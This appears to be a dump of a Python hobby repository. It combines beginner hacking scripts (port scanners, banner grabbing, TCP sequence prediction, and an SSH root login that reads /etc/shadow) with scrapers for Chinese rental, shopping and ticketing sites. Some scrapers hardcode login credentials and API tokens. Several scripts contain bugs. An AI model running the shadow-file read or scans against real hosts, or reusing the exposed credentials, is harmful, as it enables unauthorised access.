18 | print("[*] Target: {tgt}".format(tgt=tgt)) 19 | print("{city}, {region}, {country}".format(city=city,region=region,country=country)) 20 | 21 | 22 | if __name__ == "__main__": 23 | tgt = '173.255.226.98' 24 | printRecord(tgt) -------------------------------------------------------------------------------- /Python_safe/SSH_pexpect.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = "lau.wenbo" 4 | 5 | 6 | import pexpect 7 | 8 | PROMPT = ['# ','>>> ', '> ', '\$ '] 9 | 10 | 11 | def send_command(child, cmd): 12 | child.sendlinee(cmd) 13 | child.expect(PROMPT) 14 | print(child.before) 15 | 16 | def connect(user, host, password): 17 | ssh_newkey = 'Are u sure upi want continue connecting' 18 | connStr = 'ssh ' + user + '@' + host 19 | child = pexpect.spawn(connStr) 20 | ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword']) 21 | if ret == 0: 22 | print('[-] Error Connecting') 23 | if ret == 1: 24 | child.sendline('yes') 25 | ret = child.expect([pexpect.TIMEOUT, '[P|p]assword:']) 26 | if ret == 0: 27 | print('[-] Error Connecting') 28 | return 29 | child.sendline(password) 30 | child.expect(PROMPT) 31 | return child 32 | 33 | def main(): 34 | host = '192.168.50.1' 35 | user = 'root' 36 | password = 'toor' 37 | child = connect(user, host, password) 38 | send_command(child, 'cat /etc/shadow | grep root') 39 | 40 | if __name__ == '__main__': 41 | main() -------------------------------------------------------------------------------- /Python_safe/TCP_hacker.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = "lau.wenbo" 4 | 5 | 6 | from scapy.all import * 7 | 8 | def CalTSN(tgt): 9 | seqNum = 0 10 | preNum = 0 11 | diffSeq = 0 12 | for x in range(1, 5): 13 | if preNum != 0: 14 | preNum = seqNum 15 | pkt = IP(dst=tgt) / TCP() 16 | ans = sr1(pkt, verbose=0) 17 | seqNum = ans.getlayer(TCP).seq 18 | diffSeq = seqNum - preNum 19 | print(diffSeq) 20 | return seqNum + diffSeq 21 | 22 | if __name__ == "__main__": 23 | tgt = "192.168.1.106" 24 | seqNum = calTSN(tgt) 25 | print(seqNum + 1) -------------------------------------------------------------------------------- /Python_safe/Tcp_Banner.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = "lau.wenbo" 4 | 5 | 6 | import optparse 7 | import socket 8 | from socket import * 9 | 10 | def connScan(tgtHost, tgtPort): 11 | try: 12 | connSkt = socket(AF_INET, SOCK_STREAM) 13 | connSkt.connect((tgtHost, tgtPort)) 14 | connSkt.send('ViolentPython\r\n') 15 | results = connSkt.recv(100) 16 | print('[+]%d/tcp' % tgtPort) 17 | print('[+] ' + str(results)) 18 | connSkt.close() 19 | except: 20 | print('[-]%d/tcp close' % tgtPort) 21 | 22 | def portScan(tgtHost, tgtPorts): 23 | try: 24 | tgtIP = gethostbyname(tgtHost) 25 | except: 26 | print("[-] Cannot resolve '%s': Unknwn host" %tgtHost) 27 | return 28 | 29 | try: 30 | tgtName = gethostbyaddr(tgtIP) 31 | print('\n[+] Scan Results for: ' +tgtName[0]) 32 | except: 33 | print('\n[+] Scan Results for: ' + tgtIP) 34 | 35 | setdefaulttimeout(1) 36 | 37 | print(tgtPorts) 38 | for tgtPort in tgtPorts: 39 | print(tgtPort) 40 | print("Scanning port " + tgtPort) 41 | connScan(tgtHost, int(tgtPort)) 42 | 43 | def main(): 44 | parseer = optparse.OptionParser("usage%prog" + "-H -p ") 45 | parseer.add_option('-H', dest='tgtHost', type='string', help='specify target host') 46 | parseer.add_option('-P', dest='tgtPort', type="string", help='specify target port[s] separated by comma') 47 | (options, args) = parseer.parse_args() 48 | tgtHost = options.tgtHost 49 | tgtPorts = str(options.tgtPort).split(',') 50 | if (tgtHost == None) | (tgtPorts[0] == None): 51 | print('[-] You Must specify a target host and ports[s].') 52 | exit(0) 53 | portScan(tgtHost, tgtPorts) 54 | 55 | if __name__ == "__main__" : 56 | # 用法 57 | # python Tcp_Banner.py -H 192.168.50.1 -P 21,22,80,40,55 58 | main() -------------------------------------------------------------------------------- /Python_safe/Tcp_nmap.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = "lau.wenbo" 4 | 5 | 6 | import optparse 7 | import nmap 8 | 9 | 10 | def nmapScan(tgtHost, tgtPort): 11 | nmScan = nmap.PortScanner() 12 | nmScan.scan(tgtHost, tgtPort) 13 | state = nmScan[tgtHost]['tcp'][int(tgtPort)]['state'] 14 | print(" [*] " + tgtHost + " tcp/" + tgtPort + " " + state) 15 | 16 | def main(): 17 | parser = optparse.OptionParser('usage%prog ' + '-H -P ') 18 | parser.add_option('-H', dest='tgtHost', type='string', help='specify target host') 19 | parser.add_option('-P', dest='tgtPort', type='string', help='specify target port[s] separated by comma') 20 | (options, args) = parser.parse_args() 21 | tgtHost = options.tgtHost 22 | tgtPorts = str(options.tgtPort).split(',') 23 | if (tgtHost == None) | (tgtPorts[0] == None): 24 | print(parser.usage) 25 | exit(0) 26 | for tgtPort in tgtPorts: 27 | nmapScan(tgtHost, tgtPort) 28 | 29 | if __name__ == '__main__': 30 | main() -------------------------------------------------------------------------------- /Python_safe/Tcp_socket.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = "lau.wenbo" 4 | 5 | 6 | import optparse 7 | from socket import * 8 | 9 | def connScan(tgtHost, tgtPort): 10 | try: 11 | connSkt = socket(AF_INET, SOCK_STREAM) 12 | connSkt.connect((tgtHost, tgtPort)) 13 | print('[+]%d/tcp' % tgtPort) 14 | connSkt.close() 15 | except: 16 | print('[-]%d/tcp close' % tgtPort) 17 | 18 | def portScan(tgtHost, tgtPorts): 19 | try: 20 | tgtIP = gethostbyname(tgtHost) 21 | except: 22 | print("[-] Cannot resolve '%s': Unknwn host" %tgtHost) 23 | return 24 | 25 | try: 26 | tgtName = gethostbyaddr(tgtIP) 27 | print('\n[+] Scan Results for: ' +tgtName[0]) 28 | except: 29 | print('\n[+] Scan Results for: ' + tgtIP) 30 | 31 | setdefaulttimeout(1) 32 | 33 | for tgtPorts in tgtPorts: 34 | print("Scanning port " + tgtPorts) 35 | connScan(tgtHost, int(tgtPorts)) -------------------------------------------------------------------------------- /Python_safe/zombie_ssh.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = "lau.wenbo" 4 | 5 | 6 | import optparse 7 | import pxssh 8 | 9 | 10 | -------------------------------------------------------------------------------- /Spider/Practical/__init__.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' -------------------------------------------------------------------------------- /Spider/Practical/train_pickle/__init__.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' -------------------------------------------------------------------------------- /Spider/Scrapy_project/__init__.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' -------------------------------------------------------------------------------- /Spider/Scrapy_project/spider/Spider_project/Fangtianxia/__init__.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' -------------------------------------------------------------------------------- /Spider/Scrapy_project/spider/Spider_project/Fangtianxia/fnag.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = "Yemilice_lau" 3 | 4 | 5 | import requests 6 | 7 | a = requests.get('http://zu.cd.fang.com/house/i3100/') 8 | print(a.text) -------------------------------------------------------------------------------- /Spider/Scrapy_project/spider/Spider_project/__init__.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' -------------------------------------------------------------------------------- /Spider/Scrapy_project/spider/__init__.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' -------------------------------------------------------------------------------- /Spider/Scrapy_project/spider/homecrawl/__init__.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' -------------------------------------------------------------------------------- /Spider/Scrapy_project/spider/homecrawl/homecrawl/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/Spider/Scrapy_project/spider/homecrawl/homecrawl/__init__.py -------------------------------------------------------------------------------- /Spider/Scrapy_project/spider/homecrawl/homecrawl/items.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # Define here the models for your scraped items 4 | # 5 | # See documentation in: 6 | # https://doc.scrapy.org/en/latest/topics/items.html 7 | 8 | import scrapy 9 | 10 | 11 | class HomecrawlItem(scrapy.Item): 12 | # define the fields for your item here like: 13 | # name = scrapy.Field() 14 | name = scrapy.Field() 15 | type = scrapy.Field() 16 | pass 17 | -------------------------------------------------------------------------------- /Spider/Scrapy_project/spider/homecrawl/homecrawl/pipelines.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # Define your item pipelines here 4 | # 5 | # Don't forget to add your pipeline to the ITEM_PIPELINES setting 6 | # See: https://doc.scrapy.org/en/latest/topics/item-pipeline.html 7 | 8 | 9 | class HomecrawlPipeline(object): 10 | def process_item(self, item, spider): 11 | return item 12 | -------------------------------------------------------------------------------- /Spider/Scrapy_project/spider/homecrawl/homecrawl/spiders/__init__.py: -------------------------------------------------------------------------------- 1 | # This package will contain the spiders of your Scrapy project 2 | # 3 | # Please refer to the documentation for information on how to create and manage 4 | # your spiders. 5 | -------------------------------------------------------------------------------- /Spider/Scrapy_project/spider/homecrawl/homecrawl/spiders/home_spider.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = "Yemilice_lau" 3 | 4 | 5 | import scrapy 6 | from homecrawl.items import HomecrawlItem 7 | import re 8 | 9 | class Home(scrapy.Spider): 10 | name = 'home' 11 | 12 | allowed_domains = ['fang.com'] 13 | # 爬取的地址 14 | start_urls = ['http://zu.cd.fang.com/house/i3100/'] 15 | 16 | def parse(self, response): 17 | item = HomecrawlItem() 18 | for box in response.xpath('//html/body/div[5]/div[6]/div[1]/div[2]/dl'): 19 | print('+++++++++++++++++++') 20 | try: 21 | item['name'] = box.xpath(".//dd/p[1]/a/text()")[0].extract().strip() 22 | item['type'] = box.xpath(".//dd/p[2]/text()")[0].extract().strip() 23 | except: 24 | continue 25 | yield item -------------------------------------------------------------------------------- /Spider/Scrapy_project/spider/homecrawl/scrapy.cfg: -------------------------------------------------------------------------------- 1 | # Automatically created by: scrapy startproject 2 | # 3 | # For more information about the [deploy] section see: 4 | # https://scrapyd.readthedocs.io/en/latest/deploy.html 5 | 6 | [settings] 7 | default = homecrawl.settings 8 | 9 | [deploy] 10 | #url = http://localhost:6800/ 11 | project = homecrawl 12 | -------------------------------------------------------------------------------- /Spider/Spider_project/58_spider/deal_with_url.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = "Yemilice_lau" -------------------------------------------------------------------------------- /Spider/Spider_project/58_spider/get_message.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = "Yemilice_lau" 3 | 4 | 5 | from lxml import etree 6 | import requests 7 | import time 8 | 9 | class Get_message(object): 10 | 11 | def __init__(self): 12 | self.house_url = [] 13 | self.page_url = [] 14 | 15 | def Get_page_url(self, url): 16 | global messages, pn_page 17 | xpath_command = '//*[@id="bottom_ad_li"]/div[2]/a[3]/@href' 18 | try: 19 | messages = self.obtainment_process(url = url, xpah_command=xpath_command) 20 | except Exception, e: 21 | print Exception,":",e 22 | for message in messages: 23 | pn = message.split('pn')[1] 24 | pn_page = pn.replace('/', '') 25 | 26 | for i in range(1,int(pn_page) + 1): 27 | self.page_url.append("http://cd.58.com/chuzu/0/pn{0}/".format(i)) 28 | 29 | return self.page_url 30 | 31 | def Get_house_url(self, page_url): 32 | pass 33 | 34 | def Get_house_message(self, house_url): 35 | pass 36 | 37 | def obtainment_process(self, url, xpah_command): 38 | try: 39 | a = requests.get(url).content 40 | except Exception as e: 41 | print Exception, ":", e 42 | selector = etree.HTML(a, parser=None, base_url=None) 43 | message = selector.xpath(xpah_command) 44 | return message 45 | 46 | 47 | 48 | -------------------------------------------------------------------------------- /Spider/Spider_project/58_spider/main.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = "Yemilice_lau" 3 | 4 | 5 | import requests 6 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 7 | import json 8 | 9 | headers = { 10 | "charset":"utf-8", 11 | "Accept-Encoding":"gzip", 12 | "refer":"https://servicewechat.com/wx43b7026dd2b6a475/2/page-frame.html", 13 | "thirdkey":"9iJTBmLglpNszMnRr0rHskUkf9RCUnkJwl1PtvJyVm2B3v7vQfioyKmWwvPEPjna", 14 | "scene":"1089", 15 | "appcode":"1", 16 | "Content-type":"application/x-www-form-urlencoded,application/json", 17 | "User-Agent":"Mozilla/5.0 (Linux; Android 5.1.1; OPPO R9 Plusm A Build/LMY47V; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.132 MQQBrowser/6.2 TBS/044005 Mobile Safari/537.36 MicroMessenger/6.6.6.1300(0x26060634) NetType/WIFI Language/zh_CN MicroMessenger/6.6.6.1300(0x26060634) NetType/WIFI Language/zh_CN", 18 | "Host":"wxapp.58.com", 19 | "Content-Length":"353", 20 | "Connection":"Keep-Alive", 21 | } 22 | 23 | data = { 24 | "param":{ 25 | "cityId":102, 26 | "cateCode":"1", 27 | "cateId":"8", 28 | "dispCateId":"8", 29 | "pageNum":1, 30 | "key":"", 31 | "queryList":{}, 32 | "thirdKey":"9iJTBmLglpNszMnRr0rHskUkf9RCUnkJwl1PtvJyVm2B3v7vQfioyKmWwvPEPjna" 33 | }, 34 | "thirdKey":"9iJTBmLglpNszMnRr0rHskUkf9RCUnkJwl1PtvJyVm2B3v7vQfioyKmWwvPEPjna", 35 | "appCode":1 36 | 37 | } 38 | 39 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 40 | a = requests.post("https://wxapp.58.com/list/info", data = json.dumps(data), headers = headers, verify=False) 41 | print(a.text) 42 | # c = a.content 43 | # print(c.decode("utf-8")) 44 | 45 | -------------------------------------------------------------------------------- /Spider/Spider_project/58_spider/storage.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = "Yemilice_lau" 3 | 4 | import requests 5 | 6 | a = requests.get("https://wxapp.58.com/list/detail?isRefreshOnLoginBack=false&loading=true&pageInfo=&pageType=detail&pageName=detail&title=&btnFlag=true&verifyload=false&verifyPic=&verifyValue=&verifyFocus=true&currInfoId=¤tCateCode=&detail=&hideApplyButton=true&resumeId=&applyed=false&isTelAlertShow=false&telNum=&telCountTime=180&dispLocalName=cd&cateCode=2&infoId=33761762144430&dispCateName=hezu&cateId=0&appCode=1", verify=False) 7 | print(a.text) -------------------------------------------------------------------------------- /Spider/Spider_project/JD_spider/__init__.py: -------------------------------------------------------------------------------- 1 | #coding: utf-8 2 | __author__ = "Yemilice_lau" -------------------------------------------------------------------------------- /Spider/Spider_project/JD_spider/spider_main.py: -------------------------------------------------------------------------------- 1 | #coding: utf-8 2 | __author__ = "Yemilice_lau" 3 | 4 | """ 5 | 京东手机界面爬虫 6 | """ 7 | import requests 8 | import re 9 | import time 10 | from lxml import etree 11 | 12 | 13 | headers = { 14 | "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", 15 | "Accept-Encoding":"gzip, deflate, br", 16 | "Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", 17 | "Host":"search.jd.com", 18 | "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:59.0) Gecko/20100101 Firefox/59.0", 19 | "Upgrade-Insecure-Requests":"1", 20 | "Connection":"keep-alive", 21 | "Cache-Control":"max-age=0" 22 | } 23 | 24 | def craw_spider(url): 25 | html = requests.get(url, headers=headers).content 26 | selector = etree.HTML(html, parser=None, base_url=None) 27 | context = selector.xpath('//*[@id="J_goodsList"]/ul/li[@class="gl-item"]/div/div[4]/a/@href') 28 | return context 29 | 30 | 31 | url = "https://search.jd.com/Search?keyword=%E6%89%8B%E6%9C%BA&enc=utf-8&page=7" 32 | 33 | for i in craw_spider(url): 34 | print i 35 | 36 | a = "//item.jd.com/15103750807.html" 37 | -------------------------------------------------------------------------------- /Spider/Spider_project/__init__.py: -------------------------------------------------------------------------------- 1 | #coding: utf-8 2 | __author__ = "Yemilice_lau" -------------------------------------------------------------------------------- /Spider/Spider_project/spider_toor/get_ticket.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = "Yemilice_lau" 3 | 4 | 5 | import requests 6 | 7 | a = requests.get("http://b.jowong.com/provider/ticket/ticketsearch.do?pdno=06027&rzti=2018-04-17&r=524") 8 | 9 | print(a.text) -------------------------------------------------------------------------------- /Spider/Spider_project/spider_toor/login.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = "Yemilice_lau" 3 | 4 | import requests 5 | 6 | url = "http://b.jowong.com/login.do" 7 | 8 | payload = "password=321654&random=7366&url=%2Fprovider%2Fticket%2Findex.do&usid=scctkj" 9 | 10 | headers = { 11 | 'Content-Type': "application/x-www-form-urlencoded", 12 | 'Cache-Control': "no-cache", 13 | 'Postman-Token': "0d2098a0-6596-4e97-bec6-1488b3c65dcb" 14 | } 15 | 16 | response = requests.request("POST", url, data=payload, headers=headers) 17 | 18 | print(response.text) -------------------------------------------------------------------------------- /Spider/Spider_simple/check_spider.py: -------------------------------------------------------------------------------- 1 | #coding: utf-8 2 | __author__ = "Yemilice_lau" 3 | 4 | 5 | import requests 6 | import bs4 7 | import re 8 | import datetime 9 | import random 10 | 11 | 12 | 13 | html = requests.get("http://en.wikipedia.org/wiki/Kevin_Bacon").content 14 | bsObj = bs4.BeautifulSoup(html, "lxml") 15 | for link in bsObj.find("div", 16 | {"id":"bodyContent"}).findAll("a", href=re.compile("^(/wiki/)((?!::).)*$")): 17 | if 'href' in link.attrs: 18 | print (link.attrs['href']) 19 | 20 | -------------------------------------------------------------------------------- /Spider/Spider_simple/first_spider.py: -------------------------------------------------------------------------------- 1 | #coding: utf-8 2 | __author__ = "Yemilice_lau" 3 | 4 | 5 | import requests 6 | from bs4 import BeautifulSoup 7 | html = requests.get("http://pythonscraping.com/pages/warandpeace.html") 8 | bsObj = BeautifulSoup(html.content,"lxml") 9 | namelist = bsObj.find_all("span", {"class":"green"}) 10 | for name in namelist: 11 | print (name.get_text()) -------------------------------------------------------------------------------- /Spider/Spider_simple/ladyer_spider.py: -------------------------------------------------------------------------------- 1 | #coding: utf-8 2 | __author__ = "Yemilice_lau" 3 | 4 | 5 | import requests 6 | import time 7 | from lxml import etree 8 | 9 | 10 | def get_link(): 11 | pass 12 | 13 | def get_jpg(): 14 | pass 15 | 16 | def check_headers(): 17 | pass 18 | 19 | def save_jpg(): 20 | pass 21 | 22 | def thread_Download(): 23 | pass 24 | 25 | def craw_spider(url): 26 | pass -------------------------------------------------------------------------------- /Spider/Spider_simple/set_spider.py: -------------------------------------------------------------------------------- 1 | #coding: utf-8 2 | __author__ = "Yemilice_lau" 3 | 4 | 5 | import requests 6 | from bs4 import BeautifulSoup 7 | import re 8 | 9 | 10 | pages = set() 11 | def getLinks(pageUrl): 12 | global pages 13 | html = requests.get("http://en.wikipedia.org" + pageUrl).content 14 | bsObj = BeautifulSoup(html, 'lxml') 15 | for link in bsObj.findAll("a", href=re.compile("^(/wiki/)")): 16 | if link.attrs['href'] not in pages: 17 | newPage = link.attrs['href'] 18 | print (newPage) 19 | pages.add(newPage) 20 | getLinks(newPage) 21 | 22 | getLinks("") -------------------------------------------------------------------------------- /Spider/__init__.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' -------------------------------------------------------------------------------- /Spider/easy_img/logo.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/Spider/easy_img/logo.jpeg -------------------------------------------------------------------------------- /Spider/first_spider/1.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | import urllib2 5 | import requests 6 | import json 7 | import datetime 8 | from time import ctime,sleep 9 | import threading 10 | 11 | 12 | def dir_get(): 13 | data = {'dirpath':'infinityfs1,1,123,1'} 14 | r = requests.post(url="http://10.0.20.77:9898/filesystem/quota/dir/get", data=data) 15 | a = r.json() 16 | d1 = json.dumps(a) 17 | print(d1) 18 | 19 | 20 | def dir_set(): 21 | data = {'dirpath':'infinityfs1,1,123,1', 22 | 'quotavalue':'-1', 23 | 'quotaunit':'B'} 24 | r = requests.post(url="http://10.0.20.77:9898/filesystem/quota/dir/set", data=data) 25 | a = r.json() 26 | d1 = json.dumps(a) 27 | print(d1) 28 | 29 | 30 | dir_set() -------------------------------------------------------------------------------- /Spider/first_spider/get_data.py: -------------------------------------------------------------------------------- 1 | #coding: utf-8 2 | __author__ = "Yemilice_lau" 3 | 4 | 5 | -------------------------------------------------------------------------------- /Spider/first_spider/spider_test.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = "Yemilice_lau" 3 | 4 | 5 | import requests 6 | 7 | 8 | files = requests.get("http://www.baidu.com").content 9 | fhandle = open("1.html", "wb") 10 | fhandle.write(files) 11 | fhandle.close() -------------------------------------------------------------------------------- /Spider/first_spider/tt.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | import requests 5 | 6 | url = "http://b.jowong.com/login.do" 7 | 8 | payload = "usid=scctkj&url=%2Fprovider%2Fticket%2Findex.do&random=1555&password=321654" 9 | 10 | headers = { 11 | 'Content-Type': "application/x-www-form-urlencoded" 12 | } 13 | 14 | response = requests.request("POST", url, data=payload, headers=headers) 15 | 16 | print(response.text) -------------------------------------------------------------------------------- /Spider/out_img/logo-binary.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/Spider/out_img/logo-binary.jpg -------------------------------------------------------------------------------- /Spider/out_img/logo-clearBorder.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/Spider/out_img/logo-clearBorder.jpg -------------------------------------------------------------------------------- /Spider/out_img/logo-cutting-0.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/Spider/out_img/logo-cutting-0.jpg -------------------------------------------------------------------------------- /Spider/out_img/logo-cutting-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/Spider/out_img/logo-cutting-1.jpg -------------------------------------------------------------------------------- /Spider/out_img/logo-cutting-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/Spider/out_img/logo-cutting-2.jpg -------------------------------------------------------------------------------- /Spider/out_img/logo-cutting-3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/Spider/out_img/logo-cutting-3.jpg -------------------------------------------------------------------------------- /Spider/out_img/logo-cutting-4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/Spider/out_img/logo-cutting-4.jpg -------------------------------------------------------------------------------- /Spider/out_img/logo-interferencePoint.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/Spider/out_img/logo-interferencePoint.jpg -------------------------------------------------------------------------------- /Spider/out_img/logo-interferenceline.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/Spider/out_img/logo-interferenceline.jpg -------------------------------------------------------------------------------- /Spider/ticket_tour/1.xls: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/Spider/ticket_tour/1.xls -------------------------------------------------------------------------------- /Spider/ticket_tour/cnn_yanzheng.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | from captcha.image import ImageCaptcha 5 | import matplotlib.pyplot as plt 6 | import numpy as np 7 | import random 8 | 9 | # %matplotlib inline 10 | # %config InlineBackend.figure_format = 'retina' 11 | 12 | import string 13 | characters = string.digits + string.ascii_uppercase 14 | print(characters) 15 | 16 | width, height, n_len, n_class = 170, 80, 4, len(characters) 17 | 18 | generator = ImageCaptcha(width=width, height=height) 19 | random_str = ''.join([random.choice(characters) for j in range(4)]) 20 | img = generator.generate_image(random_str) 21 | 22 | plt.imshow(img) 23 | plt.title(random_str) 24 | 25 | 26 | 27 | def gen(batch_size=32): 28 | X = np.zeros((batch_size, height, width, 3), dtype=np.uint8) 29 | y = [np.zeros((batch_size, n_class), dtype=np.uint8) for i in range(n_len)] 30 | generator = ImageCaptcha(width=width, height=height) 31 | while True: 32 | for i in range(batch_size): 33 | random_str = ''.join([random.choice(characters) for j in range(4)]) 34 | X[i] = generator.generate_image(random_str) 35 | for j, ch in enumerate(random_str): 36 | y[j][i, :] = 0 37 | y[j][i, characters.find(ch)] = 1 38 | yield X, y 39 | 40 | def decode(y): 41 | y = np.argmax(np.array(y), axis=2)[:,0] 42 | return ''.join([characters[x] for x in y]) -------------------------------------------------------------------------------- /Spider/ticket_tour/code_ya.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | import requests 5 | 6 | url = "http://b.jowong.com/login.do" 7 | 8 | payload = "usid=scctkj&url=%2Fprovider%2Fticket%2Findex.do&random=8501&password=321654" 9 | 10 | headers = { 11 | 'Content-Type': "application/x-www-form-urlencoded", 12 | 'Cache-Control': "no-cache", 13 | 'Postman-Token': "53b9e040-9631-45bf-b73c-73b317e8ab7e" 14 | } 15 | 16 | response = requests.request("POST", url, data=payload, headers=headers) 17 | 18 | print(response.text) -------------------------------------------------------------------------------- /Spider/ticket_tour/get_excel.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | """ 5 | 我这套逻辑依靠的是addTourist接口,这个接口主要就是解决excel添加 6 | 现在的逻辑是解析excel --> 调用添加api ---> 添加用户 ---> 7 | """ 8 | 9 | 10 | import requests 11 | import xlrd 12 | 13 | add_url = "http://b.jowong.com/team/addTourist.do?" \ 14 | "bznote={bznote}&" \ 15 | "touristname={name}" \ 16 | "credentialstype=01&" \ 17 | "credentials={id}&" \ 18 | "mobile={phone}" 19 | 20 | 21 | # 打开名为1的excel 文件 22 | ExcelFile=xlrd.open_workbook('1.xls') 23 | table = ExcelFile.sheets()[0] 24 | nrows = table.nrows 25 | t = ["name","type","id","phone"] 26 | z = [] 27 | for i in range(nrows): 28 | if i == 0: 29 | continue 30 | z.append(dict(zip(t,table.row_values(i)))) 31 | 32 | 33 | # bznote 已经有了,所以这里就不再显示 34 | for x in z: 35 | requests.post(add_url.format(bznote,x["name"],x["id"],x["phone"])) 36 | 37 | 38 | -------------------------------------------------------------------------------- /Spider/ticket_tour/login.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | import requests 5 | from lxml import etree 6 | 7 | 8 | a = requests.get("http://b.jowong.com/provider/ticket/index.do") 9 | 10 | headers = { 11 | "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", 12 | "Accept-Encoding":"gzip,deflate", 13 | "Accept-Language":"zh-CN,en-US;q=0.7,en;q=0.3", 14 | "Connection":"Keep-alive", 15 | "Content-Length":"75", 16 | "Content-Type": "application/x-www-form-urlencoded", 17 | "Host":"b.jowong.com", 18 | "Referer":"http://b.jowong.com/provider/ticket/index.do", 19 | "Upgrade-Insecure-Requests":"1", 20 | "User-Agent":"Mozilla/5.0 (X11; Ubuntu; Linu…) Gecko/20100101 Firefox/59.0", 21 | # "Cookie":"JSESSIONID=0001662QL0VKQMNXRuUbrjKkHB-:3UD7VVV8CU" 22 | } 23 | 24 | 25 | def get_code(): 26 | url = "http://b.jowong.com/createimage?Rgb=255|0|0" 27 | ir = requests.get(url) 28 | sz = open('../easy_img/logo.jpeg', 'wb').write(ir.content) 29 | print('../easy_img/logo.jpeg', sz, 'bytes') 30 | 31 | 32 | if __name__=='__main__': 33 | get_code() 34 | # random = input("请输入验证码: ") 35 | 36 | data = { 37 | "usid": "scctkjw", 38 | "url": "/provider/ticket/index.do", 39 | "random": "1555", 40 | "password":"321654" 41 | } 42 | 43 | s = requests.Session() 44 | a = s.post("http://b.jowong.com/login.do",headers=headers, data=data) 45 | print(a.text) -------------------------------------------------------------------------------- /Spider/ticket_tour/random_js.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | import requests 5 | from lxml import etree 6 | from PIL import Image 7 | import cookielib 8 | 9 | # a = requests.get("http://b.jowong.com/login.do") 10 | # # print(a.text) 11 | # html = etree.HTML(a.text) 12 | # a = 